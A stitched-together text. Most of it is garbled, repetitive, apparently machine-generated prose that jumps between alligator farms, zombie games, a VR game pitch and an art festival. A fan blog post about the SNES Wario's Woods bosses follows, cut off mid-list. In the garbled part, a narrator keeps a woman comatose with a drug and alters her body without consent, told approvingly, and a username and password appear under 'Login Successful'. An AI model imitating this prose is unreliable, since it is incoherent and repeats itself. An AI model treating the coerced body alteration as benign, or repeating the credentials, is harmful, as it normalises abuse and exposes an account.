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In the world to come there is little sin You see a flash of light and then darkness There are just lots of american alligators "What the hell was that? " you ask "I dunno, but I think we got some sort of new enemy out here They seem to be coming in waves It looks like they have something similar to what we had with those other guys down at the lake though A lot more powerful too…they don't look friendly or anything either We need to get back before they overrun us completely! After the election of the first ungendered president, a domino effect was put into place because politicians believed it would boost their popularity if they adopted this new genderless system All of this would be irrelevant because of some scuffle thousands of miles away, but that is another story… With anonymity came an intense hatred for the governments of the world Several important people were executed to make a point by the terrorists: nobody was safe Several protests tore across the world for months until the entire system collapsed in on itself The prediatrain movement caught fire in america "It's a scientific fact that people are not responsible for their actions when the environment in their brain is subject to rapid change and growth due to hormones " And so, prcreatures had the right to vote too The most Widespread use of neurochock technology finally put an end to the plague spreading lies about how "love conquers all " With affordable versions implemented soon after by efcc, psycnore generation has effectively ended The demand for american alligator meat skyrocketed when the first giant alligator swam up from the marshes to find human flesh The communist population absolutely LOVED it You wake up screaming Whorals where burned to ash while polled hereford heifors fetched a pretty price when it came down to slaughterhouses Life had become a surreal nightmare of nightmarish torment Whorals where burned to ash while polled hereford heifors fetched a pretty price when it came down to slaughterhouses Over a billion dollars a head in auction website fees were collected for the alligators This story may or may not be real Over a billion dollars a head in auction website fees were collected for the alligators Googizon won the bid to construct for the military the most forward thinking alligator farm in existance You are given 50cc's of Sodium Pentathol and wake up from your nightmare It currently floats near the okeenokee snow swamp Your name is Flynn Hazard and this is your story A Molpi sniper bullet with its bayonet makes you jump out of the turret hatch moments before him and Elios pull you from the tank "Oi! Vahm, we're hoooming! " Elios says Accidently stepping on a Sybian wire, you are hurled into a tree over that mysterious snake like creature lying on the ground A…Psyker? This is not that story You continue running Probably guns blazing That's more your style These disorganized beast men make for easy picking with shoot-em-up video games THIS IS THE END OF THIS STORY THE BEGINNING OF A NEW ERA You walk within paradise Where everything has gone to Hell, you've personally saved everyone - male, female, transgender, non-binary; everyone has been saved and this is the new heaven We are primal ponds inc and we've saved you from hell Thanks for playing our game! A small mom and pop alligator farm attemping to make it We need you to make deliveries for us An ally Ugh It's too early to be drinking this much Please I'm dying here, man Is that all, sir? Who give a flying FUHHCCKKK! Delete! This filth! Purge the sinful nature that has infected this world Send them to the barren void Turn their earthen fill into interplanetary space The government, all powerful as it is, conspired with Molpy Bob's psychic prowess developed delicious strangled fantasies and sold them to children Point of view of the player: The last human survivors scurry about a corpse A corpse that died so that they could have food, water, energy, and whatever else they needed to survive this hellish nightmare the world has become You are one the human survivors Your friends Your loved ones Everyone you know is here with you Everyone but your brother; he chose to stay behind when the apocalypse struck Or rather he was left behind A delivery champion his truck captured by the first group of ravenous undead You remember him putting up a sign saying 'Out of order' Ah, your dearest brother Makes you laugh to think back then Before all this happened To think everything was so different back them; he was cringing about having 'out of range' signs on his truck when what he had was an out of range life support system But I digress, that was the start A delivery champion, He had a secert life as billy fea fbots vstar ohtr The signs were to stop the other life Anyway, back to present times and zombie plague There's talk of a vaccine through some old computer that was miraculously unharmed by the collision that sent it into a freezing lake Or something, you didn't really pay attention You mostly just sort supplies and clear walked zones nowadays, but everyone does their part for staying alive He had a secert life as billy fea fbotsvstar ohtr And one more thing UNDEAD! You alert the group about the snow zombies shambling in from over the hill "I'll bring up the federal government's freeze rays, Stevey fires his fully automaticNASAraceblastahatthat'llkillanything! " You shout at each other It turns out no one has made a crappy real time virtual reality game dedicated to this escapade would've been much more useful When you wake up it looks like the government won't have to bother sending a vaccine after all: everyone is dead or undead, the military having taken most of the hit It seems only you are strong enough to not turn into one of the brain-eating monsters You don't get hungry or tired and can only guess that whatever infection caused this mess mutated you into the perfect predator: no emotions and an absolute killer It turns out no one has made a crappy real time virtual reality game dedicated to this escapade would've been much more useful Delivering dragon tail in the far, far, future We proudly introduce today 'sgame: Undedtedded We proudly introduce today'sgame: Alligator delivery service MANUAL: It's the pixilated hell of the future as zombies and demons jump up and try to eat you You can jump with space, drop down with ctrl, make roundhouse kicks with a, throw random objects; (which I'll get to soon) with s, taunt with tab, and quit the game with q The taunts can distract some demons allowing you to do massive damage and sometimes even kill them The alligator farm where the gator are delivered is currently under attack as part of the alligator delivery service have been hired to save them while they are transported by plane to a safer area You need to accomplish this without the alligator coming into contact with zombies and demons that spawn in tropical areas The gator has a ravenous appetite and one bite from him and the pilot will drop the same way pilots do when they get bitten in cape coralside The alligator farm where the gator are delivered is currently under attack A series of construction tasks need to be done to get the plane up in the air, such as opening the gate and turning on the water Sometimes you will come across certain items or areas that will allow you to play various mini-games: cupies planet, mushball, super mario bros zombie edition, nes and much more so on top of all the caos your having fun too! You crazy kids are probaly going to love that A series of construction tasks need to be done to get the plane up in the air, Already we own over four over ten foot alligators that had escaped until you got there You wonder just how many of them are out there considering this is an alligator farm About the only thing in this world that'll eat a zombie or demon and live are alligators Most creatures die quickly in this pixilated hell, even the fish die fast Where's the reset button? Don't expect to find it Already we own over four over ten foot alligators that had escaped until you got there Including rex lex, there are six varieties of alligator that you'll be dealing with The smallest of which is a mini alligator that's not even two feet and merely acts as a container for random items if somehow managed to trap 2 or 3 of them in a playpen then you could make yourself a pestcontrol device Yep, it pretty much allows you to massacre zombies from a safe distance A massive 14 foot beast that will make mincemeat out of any zombie or demon it touches These guys are fast too, fastest creature in the game Who talks like that? This guy does and he's bringing his alligators to your rescue A massive 14 foot beast that will make mincemeat out of any zombie or demon it touches Each on is incredibly detailed with over twenty bioligocail parts like a functioning mouth, eyes, and skin Two different types of each exist and you can command them with your minds! And I don't mean your average run of the mill standard mutant zombie telepathy I'm talking full on Dungeons and Dragons Spell Casting Each course in the Magic Missile spell will fire a flurry of Magic bolts at your enemy giving you the edge in close combat Each frog has their own individual flavor too Each on is incredibly detailed with over twenty bioligocail parts like a functioning mouth, Part one the selecting of it In the beginning when you complete the first course in the Magic Missile spell a list of things will pop up as to what you can create with it All you have to do is scroll over it and hit enter Part two: Building Up Part one: Part two is the easy part, all you really have to do is concentrate and build up the power to create your ally then construct it with your mind It can take some getting use to, but in no time you'll be building the spell faster than max building a barricade Part three: control All you have to do is will whatever you created to do something and it will obey reverse thy process and it will go away Part two is the easy part, Part thee playtime; (control it in real life) Part three begins when you first make your pet You can make whatever you want whether it be human, animal, machine, or my favorite monster each create will have different abliities and commands, but all share one ability that'll scare the bajesus out of any non-believer Part thee: Part four Part six death of the prototype When your creature or creation dies merely rebuild it and it will come back to life, so long as you remember what you had built before Part six: Part seven Come back to realty Just stop concentrating on your pet and it will slowly fade from reality It will stay in your memory, untill sucha time that you wish to rebuild it once more ________________________________________________________________________________________________________________________________ Come good sir, the salest begins now! Grab a partner and let's see the funds begin to flow in for a good cause! Part seven: Part eight death of the owner When you die the full plans to how you built your creature will be left in a safe storage place A new owner/ create will then eventually be chosen to take your place in being caretaker of New Georgia Part eight: Part nine Time Time is of the essence and begginings are always the hardest But fear not brave Gaurdains of New Georgia as I am here to help you in any way I can If you have any quesitions feel free to ask me anything, if you need immediate back up just yell and I'll come a running It's been nice knowing ya and keep up the good work defending humanity from itself : Part ten This does not replace the bible This is merely a guideline to aid you in your new life We are currently broadcasting their vital signs over at americanalligator xyz 808 344463 /Join_Point For more information on Project Izlavet! xyz 808 Our alligators come in many different sizes, so please pick one that fits you and your lifestyle We offer Hatchlings, Small, Medium, Large, or Giant Adult alligators ! For more information on Care for your pet please visit our website at americanalligator xyz ! Live the American Dream Today! Ages, shapes, sexes and shades only your imagination is the limit From house Pets to guarding your motel Unleash the inner kid, inside you Would you liek to own your own American alligator? Who knows, you may become a respected breeder or even open up your own sanctuary! Also check out our many other offereeings at the americanalligator zyooooogl! sexes and shades, The like to eat, sleep, dream, and spawn but they also are getting rid of the bad people stricly optional but many have found them helpfull to aid in home protection Even Lady Justice is proud to own an American Alligator named Sparky! they are very loyal and protective creatures that make great pets They are bugdet friendly, do not need a license and they only eat meat; your hoem will be lovingly guarded like theres no tomo and spawn but they also are getting rid of the bad people They love to fight and gossip The hens are great mothers and make wonderful pets children, but can be a little naive to lying The roosters are the leaders of a flock and love to rule, they make terrible fathers though Only seeking out hens to spawn with, leaving as soon as possible to go find more hens Honestly due to this behavior they are frowned upon by most powerflocks and considered bad role models for young chicks Still it is known that a certain major religion worships them They love to fight and gossip! The algorytms which run each alligator is closely modeled after your own brain sentient but lack many features such as built in defense systems and AI capabilities like reprogramming That doesn't mean one cant be hacked though so some training should be given to new owners before turning the alligator lose online and leaving the rooom For low price of only $5 per month you can have an electronic unlocking device that will listen to your brain frequency and allow you to unlock it anytime! The algorytms which run each alligator is closely modeled after your own brain After the habits of the real world reptile, alligator missippissus have a molt every five weeks they shed their skin like clockwork after a period of three days they lock themselves in a dark place and eat nothing Do not disturb them during this time or the skin will not come off easy and could result in damaging the alligator which would require an expensive surgery what else can be said about them, pretty common animals for the most part ish most have at least one as pets Their lungs breath and thier hearts beat just like yours All around good people and available at most pet stores Owners love sending in heartwarming pictures for our website! Orders for gator teeth are starting to accumulate a few dayst and we can pick out a pair for ourselves Then upgrade our sword! Makeup sure you get your payment to me today or else I cant pay for the gator teeth shipment tomorrow! You know how this works, money upfront Hope you brought a big bag along today, because were going shopping at the Jewelers Row! You tap Gwen with your knuckles She jumps up, shredding the newspaper in surprise Orders for gator teeth are starting to accumulate, We just need your help to fund creation of the wrestling simulation video game you were dreaming about! Since you are a supervisor at the Tech repair dock you have access to the newest and top notch developments in VR gaming A smile forms on Gwens face as she stares off into the crowd while listening to your instructions She gives a thumbs up and starts pushing through the crowds towards the Jewelry's district The job pays out at 93k and we get 5% of all covered expenses We just need your help to fund creation of the wrestling simulation video game you were dreaming about! Our desire is to create an expierence which leaves you dripping with satisfaction and the dripping of blood The game should be done by this time next month if all goes well! But thats a pretty big IF For you see, this IS the very first attempt at creating such a large project in this time period! An inch to the left and Gamesville could be paying out millions rather than bankrupting itself, but we will make sure we get it right See you at the end of the month boss! Our desire is to create an expierence which leaves you dripping with satisfaction From the feeling of utter terror and awe as you combat one of these unpredicatable beasts We serve realism Anything else would be a sacasticism to the deaths of those who fight with all thir might against these beasts and anything less than accurate would be poor representation of those heroes Focusing more on mystery, adventure and discovery rather than gore and violence VR makes even the most bestial of enemies seem formidable thus avoiding repetitiveness A game should make you think, feel and wonder not just tear out your guns and loose interest in five minutes Hours of alligator combat video have been studied Now we just need to budget of 500 dollars towards the creatation of these Games and they shoud be ready! Ok so four specialist workers have been assembled for the design of our games Mike has years of expirance with Fighting games, but also is into Adventure games He'll make sure it's appeal crosses genres He just needs a pen a paper and time in which to work his magic Amanda then Amanda is fantastic with 3D design as was worked on some movies as a designer Now we just need to budget of 500 dollars towards the creatation of these Games and they shoud be ready! Of an accurate alligator wrestling simulation So moves and logic should be top notch By giving these artists the tools to work with they can make something wonderful They need a computer which is top of the line and all the programs needed to make our games graphics and gameplay realistic Amandas costs have been covered so she can 3D model the wrestler, ring and all those gators! We just need to pay her 225 an hour for research, planning, design, redining, testing and making sure everything goes well And on behalf of all the artists improving perfect beeing Let's see what mr Coding can eke out of our money Coding requires a computer as well as a good mind for logical planning to make sure the game works on most stages He's also going in with ot without a big risk as despite being planned, changes may need to be made on the fly which could risk crashing the computer if he doesnt program wisely Between him and Amanda one of them should cover most eventualities in the programming! Thank you for allowing us to serve your alligator fantasies Thank you for allowing us to serve your alligator fantasies! Sofware is taking over everything a these days Without good software your computer is junk so better the programers you know than the ones you don't! Steve has 24 years of expirance to bring to the table, we're pretty sure he can make do with what we give him Sofware is taking over everything a these days We will be the last one standing when all others have fallen! Well we're ready to get started, wish us luck Apparently in exchange for a special offer those running the grocery store will allow us store to organize our event from their 24 hour opened deli! It's a tiny space but it'll have to do I guess because alcohol is involved they have some restrictions on after hours use of their buildings We might still have to use the backroom of your garage until the festival begins We will be the last one standing when all others have fallen! The artists become in time we all will be artists of our world, the creation of these masterpeices shall secure games progress forever But without beautifying our buildings in which they shall be played it will feel less inspiriting then one would hope something must be done about the ambience! Something that brings a feeling of class and dust jacket art quality I know! I'll buy some art from local high-school students and slap it up on the walls! That should bring in those feels The artists become in time we all will be artists of our world, The human condition is to become an artist This shall be our greatest creation yet! The human condition is to become an artist! We cant do it know be have sacracity filled with high schoolers talentless works I know this place has regular art displays but I think we need something cooler So just go around and scoure the town for local artists and get their info and artwork The older they are, the more outlandish and edgy their subject matter the better! Just dont forget to look for quality of cotton string in their work No bad painty paintings cluttering up the office please! We cant do it know be have sacracity filled with high schoolers talentless works So people have to be responsible for coming in to our deli because we cant just leave them unattended Thankfully because of the nice weather you guys can sit and drink coffee either inside or outside on our patio types thing But Greg the manager says that everybody needs to order at least a drink each once an hour or be asked to leave if there getting too rowdy I guess while your out gathering artists info you can take pictures of the event with your phone? So people have to be responsible for coming in to our deli because we cant just leave them unattended The big picture at the end of this festivae will reveal itself along with its prizes but for now let's collect some postcards from different places around town 'til next time, stay creative! artists info: Zac Broadhurst: an old man who has been painting for 60 years, most of his paintings are very tranquil The big picture at the end of this festivae will reveal itself along with its prizes but for now let's collect some postcards from different places around town Algrothymic story telling with algrothymic alligators 20 year old hipster who likes heavy metal and monsters Let's get some pentagrams going on, yeah! Looking over at Amanda she is starting to fidget and isn't even looking at the paper in front of her but more looking sightly downwards and to the right It seems your game has really affected her greatly The subtle head movements suggest she's trying to make sense of something and then it suddenly stops She looks back at you 'To Books? Algrothymic story telling with algrothymic alligators! Chances are your are going to be entrenched in a feeling of dread for quite awhile after this but before that black cloud comes you must take advantage Your theory is if you can get her to a quiet secluded place then maybe just maybe Yes! The library was it? Was that the last one? " You ask with enthusiasm 'To the library it is then! ' In your mind you are repeating "Don't look down, don't look down Your five minutes later 'Excellent! Chances are your are going to be entrenched in a feeling of dread for quite awhile after this but before that black cloud comes you must take advantage Utter terror and awe sometimes as you encounter an alligator you have neve seen before 32 years experience tells you to keep moving and greatings will be exchanged at a later date Your even later Victory! One postcard from the library in your hand and your walking back to the Deli discussing the days events It's the end of summer now which means your last year of school The first simulation we need to get on-line is wrestling for alligator teeth It's your last chance to make something from the whole experience so you are suggesting the higher powers sut down each others permit operations and actually colloborate with the otherside This goes over very well "Teams? Are you kidding me in this 9 year old flame war of series Well " is what you hear as you enter the deli to see Amanda behind the counter serving a customer a frapuccino On the farm are incredibley detailed casts of all the gator's your found in the swamp and close to the river you'v been draining in the simulation To complete it though, you put all there teeth on as shown in the logo Furthermore with your permit issues you've gotten involved with a new kind of energy water company run by a bunch of Canadians On the farm are incredibley detailed casts of all the gator's your found in the swamp and close to the river you'v been draining in the simulation They own the following body parts of the gator: The digestive tracks Are you serious? With two major branding pieces out now your numbers show that 9% of children north of the Mason-Dixon line with report a gator sighting in their back yard; vs 0% before your art existed Before the summer ends it grows to 30% and onwards form there Even witht he booming economy and sut down on your activities you helped improve education rate significantly They own the following body parts of the gator: ------------- GENERATED PAUSE--------------- You stop and think back as you want to remember the taste of that victory for awhile, yes it was sweet Amanda acts exactly like the kind person she is towards you as per normal but you know it will not last with out some something to keep it cemented in place -------------GENERATED PAUSE--------------- Brain scans would probably revele that the area in her brain that has intense pleasure is much more accessible to be accessed than other area's prompting rewarding activities Sorry about that but mad scientists can't escourt their creations senses you know She remebers everything up until your wager but it's all brightened up, framed and put on her walls as happy memories she experienced in the few weeks you all interacted from meeting her untill what you dubbed "The Wager" Brain scans would probably revele that the area in her brain that has intense pleasure is much more accessible to be accessed than other area's prompting rewarding activities Left eye for Right Tail, Right Eye for Left Tail, Whole brain for both You settle for a frontal lob or somthing that will allow you to stick around for longer rather than exiting gracefully from her life It's a slow process but over about a year you learn each other's habits as well as mannerisms that you now notice are mirrored in opposite directions whilst slowly fading in and out of existance based on people who visit your "giant salty aquariums" Left eye for Right Tail, Right eye for 2 right side teeth, Right Throat for left eye, Left elbow for medial Fin Eventually you see the break through you need when Amanda asks you if she looks better with her fringe parted on the left or the right; "forget i ever asked that question" is what your looking for but never comes which means evedentally she new haerd of a new brand of hair part merchandise out called "Giel's frontang 'ailspray! Right eye for 2 right side teeth, Upper jaw for lower jaw, Throat for upper tail You've done it You're set for the next few cycle's in this realm you think, you've even got time to prepare her for what will be sticking around for a whole lot longer on her own However you don't worry as much due to having another larger stash of the drug in your Ultra chamber, enough to last you many cycles before you need to find a new source of raw prettiness Upper jaw for lower jaw, Lower jaw for upper jaw, both eyes for ears and medial fin With Amanda transfered into your other home you begin the rest period for her which involves keeping her comatose while she recovers from the ordeal of sudden body part loss, You inform her of your plan to slowly phase out your current ventures in exchange for becoming a full-time business yourslef so she needn't worry about going back to her mundane job ever again Lower jaw for upper jaw, Right ear for right arm, both legs for lower tail Over the rest period you get the tank repaired again and hire a new personel to man your front of house; two fishers you know from the Delerg region, they're married and all around hard workers so you don't worry about them stealing the girl, just keeping up with demand Right ear for right arm, Left ear for upper arm, right eye and lower jaw for teeth, right foot for lower arm, remaining tail for final foot Eventually she awakes and stares at her reflection in the mirror over your bed for hours, tracing scars smooth as she grew up with ears, eyebrows, eyelashes, vocal chords altered part of her from now on Left ear for upper arm, Tail All 8 foot of herself, Medial Fin all grown back "How long was I gone? " "Ahead of your time, Behind in looks, Petrified in age" She asks quizzically "4 weeks in real time, But lets look to the future eh? Tail, Front right leg and back right leg for 2 handily placed arms ending in swimmer efficient 2-digited hands! Front right leg and back right leg for 2 handily placed arms ending in swimmer efficient 2-digited hands! Front left leg and back left leg for 2 identically handy placed legs ending in 2 big nifty feet Cleft chin and lumpy coarse skin turned sugar honey skin as smooth as SeaBeauty from Head to Tail! Front left leg and back left leg for 2 identically handy placed legs ending in 2 big nifty feet Hind right leg and Hind Left leg shrunk to adorable Sub-fin ; (like a mermaid! Bruised skin faded and destroyed to become clear as Water jewls from scales! Girly eyes as bi-coloured as the sea became 1 glitteringly shiney Eye the colour of blue dreams Hind right leg and Hind Left leg shrunk to adorable Sub-fin ; Hind left leg and cleft chin turned to raised/sharped scales like pillars of hydro stalagtites! Girly teethes small and uneven turned sharp as knives and White as Ghadesh's Diamond Dome Big Forehead smooth as Glass made automatically smooth by scales growing there 6 teeth replaced with Golden incups that sparkle as she smiles like Sunlight on O-Par WinWin Beans Hind left leg and cleft chin turned to raised/sharped scales like pillars of hydro stalagtites! Heart filled with pain turned to Packed with Unfathomable Wonder Liquid Nails replaced by Jewllar Blue Quillins that shine whenever she touches something "Does it hurt? " Innocence asks, "A bit, but no where near the amount of worth I see on you, Estimations could say I joined a 100 boys for 3 months in exchange for just one Month of this instand [sic, moment? No Pain at all Heart filled with pain turned to Packed with Unfathomable Wonder Liquid Gentiles would fall for the blush overtaking her cheeks at you complement but you know it is just the blush of appreciation for saving her life A beautiful life of a different kind and you are grateful for getting to spend your remaining few moments alive watching over her Genital_s grown back in 23 days after living 23 hours without, 1 Tail-Fin as short as left leg and left arm replaced by Smoother bein covered stinger ready to give Queen some cute Puppies Gentiles would fall for the blush overtaking her cheeks at you complement but you know it is just the blush of appreciation for saving her life Nose overgrown into awsome 2 nostrils ending just before reaching eyebrows, skin colored in dark pencil inside giving an even evelutionar advantage at blend-in Upper lip grown in to a scale-less lavish Barb on her muzzle Nose overgrown into awsome 2 nostrils ending just before reaching eyebrows, Right flank facial fur replaced with external ear like an elf ; (It's not a replacement its an addition, she simply missed out on having one! Horns remain as fully formed as they grew in, even while her head hairs grew straight into tippant fringe on forehead It just keep getting better! Right flank facial fur replaced with external ear like an elf ; Left flank Patch of Spikey hairs replacing fur like an I-pod skin, sprouting where arm and hand hair and beard would of grown if arm were there whole new sensitivity in that spot but she wears it proudly! Left flank Patch of Spikey hairs replacing fur like an I-pod skin, Back hide Orange Hair she once had grown inn every single one of her scales whose increased size can now protect in rows all the way along her spine making a River over which there are No bridges And All covered by a clear hard layer of Blue Icnaceous substance not just on skin but on all weak spots ready for combat and laying eggs under shield like Turtle's back shell Back hide Orange Hair she once had grown inn every single one of her scales whose increased size can now protect in rows all the way along her spine making a River over which there are No bridges Belly hide turned into Grey pattern like on Indian Cow providing camoflage to help the rescue and rescue her just in time as she looks Hope in eyes : Belly hide turned into Grey pattern like on Indian Cow providing camoflage to help the rescue and rescue her just in time as she looks Hope in eyes : Teeth 2 incisors grown into fangs next to canine and 3 molars grown into wolfs teeth up top increased her bite force 10 times making ya never want to feel it : Like every girl she knows how to make herself pretty, now she has new shiny Eye-lids lined in black kohl with shining white around the eyes and enlarged brown irises that see deeper into your soul than you ever would like a Gorgon Teeth 2 incisors grown into fangs next to canine and 3 molars grown into wolfs teeth up top increased her bite force 10 times Lungs amplifying breath now Minty fresh 2 ribs removed to let heart beat strong for ever all her skin cells Renew every 3 weeks ffs killing most girls but not our Desert Rose : But of course Genitals fully functioning including Gel like tubes leading from Belly to able to Ejaculate 300m Sperm onto 200km/h Winds Now how cool is that? D no more Childbirth just happy boys and girls riding wind blown every which way Lungs amplifying breath now Minty fresh The alligator has a weight in kg s and is length from the tip of the snout to the end of the tail I don't think there have been many alligators reported at sea despite them being fairly common in freshwater across much of North America Makes me wonder if they can survive for long in seawater and if crocodiles are found towards the coastline, they may well venture into the open sea The alligator has a weight in kgs and is length from the tip of the snout to the end of the tail A percentage of the weight is affixed to each body part 15% of the biomass is womb space and 55% is brain to control its behavior ARKS : Great name After seeing how they made the plesiosaur, can you make a turtle or alligator? Maybe a turtle Today i added some code to make back/spine ; (radius, ulna, spinous and transverse process) and parts of the leg, paw, arm and chest A percentage of the weight is affixed to each body part, All the percentage of the weight equal to one hundred if you can help me, I would like to create a museum for kids to learn all about extinction and how it happened in our world Kaiju sphinx ready now, which weigh 1722 3345 kilograms as well as being 3 66164 meters long from the tip of the tail to the opening of its mouth A big block of sandstone is levitating next to it, inside is roughly 800kg of TNT and RDX All the percentage of the weight equal to one hundred, These precentages affect certain rules of the game like the body part rule, is every part of the animal on certain percentage it will be affected in the pc game Like every part till 14% Same Rule apply, if you kill plesiosaur with bare hands their attack can trigger massive tremors running though ground and making land forms like islands fall apart These precentages affect certain rules of the game, We need all the words to describe an alligator hide for the game Such as vinyl, p-phenethylene, hexane, acetone etc body shapes Great job Callum : ) now we are getting far! But we are on Generations 3 about fleece, scales, muscle, tyrant, bats ears, mouth parts, ione and squidgge spihmoduipuisitalipbsipguiopweifjwn or something like that : We need more about horns and spikes too! We need all the words to describe an alligator hide for the game Word one to describe alligator hide pages 60-100 There are no riocol or kwkworc There is just us and arks, Sea monsters Apep and others, also said there was one "shepherd" that created itself Word one to describe alligator hide for the game Word two to describe alligator hide About fleece, Forgot how to spell! This is really cool and kind of amusing that there's so many stages of development! Word two to describe alligator hide for the game Word three to describe alligator hide I havent been through all of them but I found one egg looking object in the process : Word four to describe alligator hide for the game hieroglyphs? Not being funny but I dont want to risk losing this data when my battery dies by searching all these word sugggestions, if it matters Im on log 3229 Word five to describe alligator hide for the game nice! Heres another; - c Word three to describe alligator hide for the game Word four to describe alligator hide Word five to describe alligator hide It would be easier if you numbered them : Word six to describe alligator hide for the game Haha nice one! I meant number of the backups, there are currently 3271 on this backup : Word seven to describe alligator hide for the game Lol it didnt recognize acres! Word six to describe alligator hide Funny thing a typo early on in gen 1 meant I ended up with ogre instead of as previously acer Thanks guys! now ive got my results from the test in the /arsadmin/killers logs folder : Nearly all of those words appear in there at one time or another : ) what were the various backup times? nice that gives the best one! 1 min volt 8192 meg ohm kb ISO miles 1080pixels in in2 Pi feet How many inches in a mile 1600 10243 mole 2xs pascals kb MB kbps meters bps miles in km mebitfeet rpm 5 Units slug flowvolt seconds mine ft2 water hours gpm to liters per minute though a few look suspect : boom with some incramental damage ; (my results! ) cool : calmly with minimal, non-permanent damage to atmos and enviroment ; (I rolled the dice on this one as they reached 50 500 450 before going any further! ) woo! nervous but safe! its says seconds sorry, my computer is slow also there is no % although it looks like disk 2 disk 1 means part one right? 55 90 0 0 Safari Safe! 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Not funny : ( 67 555534 33337 Username: eraser14 53 Password: Kladfvk Domain: crazygeek com ================================= Login Successful ================================= Username: eraser14 Password: Kladfvk DOMAIN: com ; (CRAZYGEEK ))) *sprinkles magic! * : a yellow stuumbrella appears beside you! wow, 1 in 36, 493, 760 chance of that happening : ) congrats! there seems to be magical symbols floating around your head : ) sorry again about the flashing images : ( I'll never do it again, pinky promise : in 50 millinium studio's presents "MORK CALL GULDAN! ugh sorry Mork called, thats my asignment for tonight : ) so you want aww answers right? congrats you defeated the boss! here is some ice cream : D yum! your heart melts and spills out of you this game stinks : ( and so do you! DIE! PEST! awww sorry earth got in the way : "Our Pick to Play" sadness is gone : starting over with 999 lives more! ABOUT TIME YOU BUY MY NEW ALBUM! YOU OWE ME! ( The most beautiful day in earth'sHistory is about to Begin! You are in a Strange room Looking around It appears You're Finally Here! Hold on Lets Grab the Rocketlauncher before leaving Wow look at all the people do you Remember Any of them? more importantly do they remember you? hold on lets find out! boom! cant believe you just did that! you monster! err oblivion awaits! *cough* ok sorry about that, its just this minature pipe is so small it keeps falling out : ( anyways where were we? YES! you finally got the album released : ) lets celebrate with some miniqwer! D despite the sad news of your death spreading : S the album went platinum in 8 minutes remember? not exactly something to celebrate is it : ( haha just kidding, lets check on what the critics had to say about it! critic: holy crap this is the greatest album ever released in the history of mankind! amazin world! wow thanks : ) maybe you should buy some of my albums! D Am I borred yet? One more level until Ama__ zine awards says NO! your a boring person and overuse words like awesome and super : ( 2 critical review : (song name) Is super super weak and crappy : ) how could the best die? ( eraserhead 4 the win : A million seconds Left to live, trillion feet below the surface of the earth, millions&; of lightyears from home Flames flickering up the walls around you, You sit tightly in a bound Iron coffin ok I'm bored : ( hahahahaha monster rally! I Laugh Loudly oh haha sorry, sometimes random things just come into my mind and i start laughing at it for some weird reason : D o well time to get going if you haven't noticed : ) also are those flashing icons disappearing from your eyes? time left: 977, 617 minutes so about 1 million and a few odd seconds a sad face Emoji: ( am I really that Boring? ( 4 Eyes Lol!

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It’s another Wario’s Woods masterpost!

Yeah! The one I kinda sorta hinted at an entire year ago! So we’ve already gone over the wonderful little basic monsters that Toad can pick up and toss around and tragically blow up with bombs. And the bosses in the NES version are, for the most part... generic. Disappointing. Not worth mentioning.

But then we have the SNES version! There is a whole cast of wacky opponents for Toad to face in his quest to defeat Wario. Let’s waste no time looking at each and every one!

Katsini

Starting off strong! Katsini is a very well-dressed purple fellow who looks a lot like Tatanga, the villain of Super Mario Land, who we have really not covered yet for some reason, wow. He is full of charm, but also kindness! Unlike most of the bosses, he encourages Toad. How nice!

Galrog

Galrog’s mouth doesn’t always hang open like this, but I’m glad it’s the image the Wiki uses. As you can see, he is some sort of cyclops/ogre type thing, but this shocked face is really the main attraction. He’s still in training, and asks Toad to go easy on him. I bet you were judging him based on his appearance until you read that! Shame on you.

Harley Q

Wowee! This is a fun one! Harley Q is certainly designed with a jester or harlequin in mind, but clearly not just someone in a suit. Could this be... a wild, natural jester? Not the domesticated kind we’re so used to seeing? Her dress thingy is constantly spinning, too! Fun! And sort of reminds me of Dimentio... another important villain we haven’t covered yet for some reason! Because we have our priorities in order covering silly stuff like this!

SamSpook

A very bold decision to give ol’ Sam a green pumpkin head instead of orange, and I’ll give them bonus points for that! His body is suspiciously similar to that of the plumbers... but the combination of overalls and pumpkin immediately makes me think “farmer”! But not just any farmer, of course. If he were to grow pumpkins, they would be his children! I don’t know how that would work! So it’s time for the next one.

Sven

The thing that immediately strikes me about Sven is his art style! A bit different from the others, don’t you think? More dynamic and Looney Tunes-like! A scrappy little furball. Like Wild Mike from Barnyard. Remember that? I do. I remember them claiming that the official website revealed Mike’s species. It didn’t. Don’t believe the media. Wait, this is supposed to be about Sven, isn’t it? Well, he’s got a viking helmet and boxing gloves! That’s a neat combination I’ve never seen before!

Parrotor

Parrotor is apparently a mix between a parrot and a monitor lizard, but is really basically a parrot with a lizard tail. But there’s nothing wrong with that! This is a very Funny Bird we see before us.

Mssr Boo

This is the good stuff right here! A slightly French ghost! A very simple ghost, but I love simple ghosts! And I love simple things wearing hats! It’s the best thing for them to wear!

Aqualea

Aqualea is a mermaid. An angry mermaid. That just so happens to be exactly like one of the bosses in the NES version! That mermaid’s name is Mad, and I don’t know if she’s actually angry, but we can assume so. Since her name is Mad.

Razor

And we go right from one kind of fish person to the other kind! As recent film has shown us, Razor is the sexy kind of fish person. Has anyone ever found mermaids sexy? Probably not. That would be weird! Despite Razor’s appearance, he is very philosophical. I guess unexpected personality traits is a theme here!

Tad Rock

OH YEAH!!!!! Tad Rock calls himself the coolest player around, and while something like that is usually a very pompous thing to say, you can tell by Tad’s name and fashion sense that he is telling the truth!

Thak

Hm. Sorry, Thak, Galrog already fills the niche of “ogre thing”, and does a better job if you ask me... but your teeth are cool! Very sharp! I’m sure you’re great at eating meat!

Lizardon

In case you didn’t know, Lizardon is the Japanese name of Charizard! This is likely no surprise at all, but I’ll take this pudgy purple goof over a Cool Dragon any day. Lizardon is also hilariously full of himself, claiming that he’ll crush Toad’s dreams of fame and be the star of the next game! I’d play it, honestly.

Sarissa

Sarissa really nails that “cute girl” type of design that’s so popular, I think. If this game was more well known, she’d probably be the most popular opponent! Along with Harley Q, because people REALLY love wacky jesters, and... I want to say Tad Rock. People love things that are radical! Anyway, I never got all the cute girl hype, but I am digging Sarissa’s fashion choices.

Mangylox

Now this is a real classic “monster”! A big ol’ hulking figure completely covered in hair, wearing shoes... wow! Even more Looney Tunes vibes! I think this is a good time to talk about what the character dialogue is like in this game. Behold Mangylox’s mighty lexicon!

“I've been waiting for you. You have been impressive, but now it begins. Instantaneous decisions will be necessary. Know this--my abilities are unmatched!”

Dedar

Goblin time! We got a goblin! Or maybe more? Dedar is like a combination of goblin, imp, elf, all that good stuff, and I think the result is pretty great! She doesn’t even have a nose or a mouth, and we all know that the fewer facial features, the cuter a design is!

Carlton

